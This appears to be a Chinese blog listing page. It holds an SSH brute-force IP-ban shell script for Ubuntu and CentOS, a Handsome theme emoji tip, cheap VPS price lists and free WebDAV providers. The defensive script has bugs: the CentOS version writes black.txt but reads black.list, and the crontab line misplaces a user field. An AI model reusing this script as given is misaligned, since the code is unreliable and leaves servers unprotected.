注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
772 阅读
0 评论
0 点赞
2021-12-07
为你的Handsome主题添上滑稽小表情
1.食用指南1.1 上手操作解压 funny.zip ,你将会得到 funny 文件夹和 OwO.json 文件,操作前请做好相应备份工作只适用于 Handsome 主题funny 文件夹放于 handsome 主题 usr/img/emotion/ 目录下OwO.json 替换原文件,,此 OwO.json 文件位于 usr/ 目录下有人说表情默认显示太大,那就加个css调和下/*滑稽小表情自定义大小*/ .emotion-funny { width: 30px; } .comment-content-**true** img.emotion-funny { max-width: 100%!important; }文件下载点我下载 funny.zip2.成果展示
2021年12月07日
608 阅读
0 评论
0 点赞
2021-12-07
便宜的VPS/云服务器推荐
1C2G5M指的是:1核CPU,2G内存,5M带宽1.国内服务器腾讯云双十一,1C2G6M,58元/年 (约4.8元/月);2C4G8M,70元/年(约5.8元/月),198元/3年(约5.5元/月)。阿里云双十一: 2核2G 5M,60元/年(约5元/月);2核4G 5M,200元/3年(约5.5元/月)。UCloud双十一: 1核2G,128元/3年(约3.6元/月);2核4G,323元/3年(约8.9元/月)。阿里云学生机,1C2G5M,9.5元/月,阿里云ECS/轻量应用云。 24岁以下免学生认证。阿里云小站,2C2G5M,60元/年(约5元/月)。阿里云轻量应用服务器,香港/新加坡2C2G30M,408元/年(约34元/月);国内2C2G5M,60元/年。腾讯云学生机,1C2G6M,108元/年,只有三次续费机会建议直接买一年。腾讯云每日秒杀,1核2G6M,99元/年(约8元/月),297元/3年。华为云,学生机1C1G1M,9元,24岁以下免学生认证;。2.国外服务器2.1 FranTech访问地址:https://my.frantech.ca/cart.php配置1GB DDR4 RAM1 CPU Core @ 3.9Ghz+20GB NVME Storage1 IPv4 + /48 IPv61000Mbit Unmetered BW价格:$3.50/月流量限制:无2.2 vultr访问地址:https://www.vultr.com/products/cloud-compute/配置1 CPU1 GB Memory1 TB Bandwidth1 IPv4 + /64 IPv6 Address价格:$5/月$0.007/小时流量限制:1T2.3 spartanhost(经常缺货)访问地址:https://spartanhost.org/vps配置512MB Memory25GB Disk Space1500GB Transfer @ 1Gb/s1 vCore Processor1 IPv4 + /64 IPv6 Address价格:$3/月流量限制:1T参考资料高性价比和便宜的VPS/云服务器推荐 2021/11/2更新
2021年12月07日
627 阅读
0 评论
0 点赞
2021-12-06
免费的webdav资源汇总-可用于vps硬盘扩容
厂家/提供方官网地址免费容量Webdav挂载地址Teracloudhttps://teracloud.jp/10G/20G(填邀请码XYPB6)https://seto.teracloud.jp/dav/4sharedhttp://www.4shared.com/15Ghttps://webdav.4shared.comBoxhttps://www.box.com/10Ghttps://dav.box.com/davDriveHQhttps://www.drivehq.com/5Ghttp://www.drivehq.com/webdav/XXXXXXiDriveSynchttps://www.idrivesync.com/5Ghttps://dav.idrivesync.com/zotero坚果云https://www.jianguoyun.com/流量限制https://dav.jianguoyun.com/dav/参考资料2020年还有哪些支持WebDAV的网盘?
2021年12月06日
754 阅读
0 评论
0 点赞
1
2
3
4